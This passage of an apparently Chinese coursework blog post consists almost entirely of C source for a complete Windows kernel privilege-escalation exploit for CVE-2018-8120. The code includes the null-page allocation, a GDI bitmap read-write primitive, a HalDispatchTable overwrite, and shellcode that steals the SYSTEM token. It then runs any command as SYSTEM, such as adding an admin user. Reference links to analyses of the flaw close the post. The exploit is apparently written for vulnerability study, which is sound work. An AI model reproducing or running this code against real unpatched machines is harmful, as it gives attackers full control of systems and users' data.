    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemModuleInformation = 11,
} SYSTEM_INFORMATION_CLASS;
 
typedef NTSTATUS(WINAPI *PNtQuerySystemInformation)(
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout PVOID SystemInformation,
    __in ULONG SystemInformationLength,
    __out_opt PULONG ReturnLength
    );
 
struct tagIMEINFO32
{
    unsigned int dwPrivateDataSize;
    unsigned int fdwProperty;
    unsigned int fdwConversionCaps;
    unsigned int fdwSentenceCaps;
    unsigned int fdwUICaps;
    unsigned int fdwSCSCaps;
    unsigned int fdwSelectCaps;
};
 
typedef struct tagIMEINFOEX
{
    HKL__ *hkl;
    tagIMEINFO32 ImeInfo;
    wchar_t wszUIClass[16];
    unsigned int fdwInitConvMode;
    int fInitOpen;
    int fLoadFlag;
    unsigned int dwProdVersion;
    unsigned int dwImeWinVersion;
    wchar_t wszImeDescription[50];
    wchar_t wszImeFile[80];
    __int32 fSysWow64Only : 1;
    __int32 fCUASLayer : 1;
}IMEINFOEX, *PIMEINFOEX;
 
struct GDICELL {
    PVOID pKernelAddress;
    USHORT wProcessId;
    USHORT wCount;
    USHORT wUpper;
    USHORT wType;
    LPVOID pUserAddress;
}; //sizeof=0x10
 
struct _HEAD
{
    void *h;
    unsigned int cLockObj;
};
 
struct tagKBDFILE
{
    _HEAD head;
    tagKBDFILE *pkfNext;
    void *hBase;
    void *pKbdTbl;
    unsigned int Size;
    void *pKbdNlsTbl;
    wchar_t awchDllName[32];
};
 
typedef struct _tagKL
{
    _HEAD head;
    _tagKL *pklNext;
    _tagKL *pklPrev;
    unsigned int dwKL_Flags;
    HKL__ *hkl;
    tagKBDFILE *spkf;
    tagKBDFILE *spkfPrimary;
    unsigned int dwFontSigs;
    unsigned int iBaseCharset;
    unsigned __int16 CodePage;
    wchar_t wchDiacritic;
    tagIMEINFOEX *piiex;
    unsigned int uNumTbl;
    tagKBDFILE **pspkfExtra;
    unsigned int dwLastKbdType;
    unsigned int dwLastKbdSubType;
    unsigned int dwKLID;
}tagKL, *P_tagKL;
 
typedef BOOL(WINAPI *LPFN_GLPI)(
    PSYSTEM_LOGICAL_PROCESSOR_INFORMATION,
    PDWORD);
 
typedef NTSTATUS(WINAPI *NtQueryIntervalProfile_t)(IN ULONG   ProfileSource,
    OUT PULONG Interval);
 
NtQueryIntervalProfile_t NtQueryIntervalProfile;
 
typedef
NTSYSAPI
NTSTATUS
(NTAPI *_NtAllocateVirtualMemory)(
    IN HANDLE               ProcessHandle,
    IN OUT PVOID            *BaseAddress,
    IN ULONG                ZeroBits,
    IN OUT PULONG           RegionSize,
    IN ULONG                AllocationType,
    IN ULONG                Protect);
 
__declspec(naked) void NtUserSetImeInfoEx(PVOID imeinfo)
{
    _asm
    {
        mov esi, imeinfo;
        mov eax, 0x1226;
        mov edx, 0x7FFE0300;
        call dword ptr[edx];
        ret 4;
    }
}
 
PVOID getHalDispatchTableAddress()
{
    ULONG len = 0;
    PSYSTEM_MODULE_INFORMATION pModuleInfo;
    HMODULE ntdll = GetModuleHandle(L"ntdll");
    PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
    if (query == NULL) {
        printf("[!] GetModuleHandle Failed\n");
        return 0;
    }
    query(SystemModuleInformation, NULL, 0, &len);
    pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
    if (pModuleInfo == NULL) {
        printf("[!] Failed to allocate memory\n");
        return 0;
    }
    query(SystemModuleInformation, pModuleInfo, len, &len);
    if (!len) {
        printf("[!] Failed to retrieve system module information\n");
        return 0;
    }
    PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
    PCHAR kernelImage = (PCHAR)pModuleInfo->Modules[0].Name;
    kernelImage = strrchr(kernelImage, '\\') + 1;
    HMODULE KernelHandle = LoadLibraryA(kernelImage);
    PVOID HALUserLand = (PVOID)GetProcAddress(KernelHandle, "HalDispatchTable");
    PVOID HalDispatchTable = (PVOID)((ULONG)HALUserLand - (ULONG)KernelHandle + (ULONG)kernelImageBase);
    return HalDispatchTable;
}
 
ULONG getpeb()
{
    return __readfsdword(0x30);
}
 
ULONG getgdi()
{
    return *(ULONG *)(getpeb() + 0x94);
}
 
PVOID getpvscan0(HANDLE h)
{
    ULONG p = getgdi() + LOWORD(h) * sizeof(GDICELL); //get bimap kernel object address
    GDICELL *c = (GDICELL*)p;
    return (char*)c->pKernelAddress + 0x10 + 0x20;
}
 
__declspec(noinline) int shellcode()
{
    __asm {
        pushad;// save registers state
        mov edx, 0x124;
        mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread
        mov edx, 0x50;
        mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
        mov ecx, eax;// Copy current _EPROCESS structure
        mov esi, 0xf8;
        mov edx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4
        mov edi, 0xb8;
        mov ebx, 0xb4;
    SearchSystemPID:
        mov eax, [eax + edi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink
        sub eax, edi;
        cmp[eax + ebx], edx;// Get nt!_EPROCESS.UniqueProcessId
        jne SearchSystemPID;
 
        mov edx, [eax + esi];// Get SYSTEM process nt!_EPROCESS.Token
        mov[ecx + esi], edx;// Copy nt!_EPROCESS.Token of SYSTEM to current process
        popad;// restore registers state
 
        xor eax, eax;// Set NTSTATUS SUCCEESS
 
    }
}
 
int main()
{
    int argc = 0;
    wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc);
    if (argc != 2)
    {
        puts("Usage: exp.exe command\nExample: exp.exe \"net user admin admin /ad\"");
        goto end;
    }
    PVOID overwrite_address = getHalDispatchTableAddress();  // HalDispatchTable
    if (!overwrite_address)
    {
        goto end;
    }
    int overwrite_offset = 0x4;     // QueryIntervalProfile 
    
    HMODULE hntdll = GetModuleHandle(L"ntdll");
    _NtAllocateVirtualMemory NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
    if (!NtAllocateVirtualMemory)
    {
        printf("[-] Fail to resolve NtAllocateVirtualMemory(0x%X)\n", GetLastError());
        goto end;
    }
    PVOID addr = (PVOID)0x100;
    DWORD size = 0x1000;
    if (NtAllocateVirtualMemory(GetCurrentProcess(), &addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE))
    {
        puts("[-] Fail to alloc null page!");
        goto end;
    }
 
    HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0);
    if (!hSta)
    {
        printf("[-] CreateWindowStationW fail(0x%X)\n", GetLastError());
        goto end;
    }
    if (!SetProcessWindowStation(hSta))
    {
        printf("[-] SetProcessWindowStation fail(0x%X)\n", GetLastError());
        goto end;
    }
    
 
    unsigned int bbuf[0x60] = { 0x90 };
    HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf);
    HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf);
 
    PVOID mpv = getpvscan0(gManger);
    PVOID wpv = getpvscan0(gWorker);
    printf("[+] Get manager at %lx,worker at %lx\n", mpv, wpv);
    P_tagKL pkl = NULL;
    pkl->hkl = (HKL__ *)wpv;
    pkl->piiex = (tagIMEINFOEX *)((char*)mpv - sizeof(PVOID));
    
    char ime[0x200];
    RtlSecureZeroMemory(&ime, 0x200);
    
    PVOID *p = (PVOID*)&ime;
    p[0] = (PVOID)wpv;
    p[1] = (PVOID)wpv;
 
    DWORD *pp = (DWORD*)&p[2];
    pp[0] = 0x180;
    pp[1] = 0xabcd;
    pp[2] = 6;
    pp[3] = 0x10000;
    pp[5] = 0x4800200;
    puts("[+] Triggering vulnerability...");
    NtUserSetImeInfoEx((PVOID)&ime);
 
    PVOID sc = &shellcode;
    PVOID oaddr = ((char*)overwrite_address + overwrite_offset);
 
    PVOID pOrg = 0;
    printf("[+] Overwriting...%lx\n", oaddr);
 
    SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr);
    GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
    SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);
 
    NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hntdll, "NtQueryIntervalProfile");
 
    if (!NtQueryIntervalProfile) {
        printf("[-] Fail to resolve NtQueryIntervalProfile(0x%X)\n", GetLastError());
        goto end;
    }
    
    ULONG Interval = 0;
    puts("[+] Elevating privilege...");
    NtQueryIntervalProfile(0x1337, &Interval);
    puts("[+] Cleaning up...");
    SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
 
 
    SECURITY_ATTRIBUTES     sa;
    HANDLE                  hRead, hWrite;
    byte                    buf[40960] = { 0 };
    STARTUPINFOW            si;
    PROCESS_INFORMATION     pi;
    DWORD                   bytesRead;
    RtlSecureZeroMemory(&si, sizeof(si));
    RtlSecureZeroMemory(&pi, sizeof(pi));
    RtlSecureZeroMemory(&sa, sizeof(sa));
    int br = 0;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;
    if (!CreatePipe(&hRead, &hWrite, &sa, 0))
    {
        fflush(stdout);
        fflush(stderr);
        ExitProcess(5);
    }
    
    si.cb = sizeof(STARTUPINFO);
    GetStartupInfoW(&si);
    si.hStdError = hWrite;
    si.hStdOutput = hWrite;
    si.wShowWindow = SW_HIDE;
    si.lpDesktop = L"WinSta0\\Default";
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    wchar_t cmd[4096] = { 0 };
    lstrcpyW(cmd, argv[1]);
    if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
    {
        fflush(stdout);
        fflush(stderr);
        CloseHandle(hWrite);
        CloseHandle(hRead);
        wprintf(L"[-] CreateProcessW failed![%p]\n", GetLastError());
        ExitProcess(6);
    }
    CloseHandle(hWrite);
    printf("[+] Process created with pid %d!\n", pi.dwProcessId);
    while (1)
    {
        if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL))
            break;
        br += bytesRead;
    }
    puts((char*)buf);
    CloseHandle(hRead);
    CloseHandle(pi.hProcess);
end:
    fflush(stdout);
    fflush(stderr);
    fflush(stdout);
    ExitProcess(0);
    return 0;
}

参考

  《CVE-2018-8120漏洞复现 》
https://mp.weixin.qq.com/s?__biz=MzUyMTAyODYwNg==&mid=2247485419&idx=1&sn=d05f79ac32b1166fdc9458b8eadcf8ac&chksm=f9e0117ace97986cb14ef1396c197d438da8af7d7fc2491d0bd195c9f22baa070bcad485305b&mpshare=1&scene=23&srcid=&sharer_sharetime=1566620897514&sharer_shareid=d32981e13d51bf06188894426d2a54e5#rd

  《CVE-2018-8120》
http://t.zoukankan.com/DreamoneOnly-p-11444172.html

  《CVE-2018-8120 分析》
https://blog.csdn.net/weixin_30814319/article/details/101245996

  《CVE-2018-8120分析与利用》
https://xz.aliyun.com/t/8667

你可能感兴趣的:(学校课程)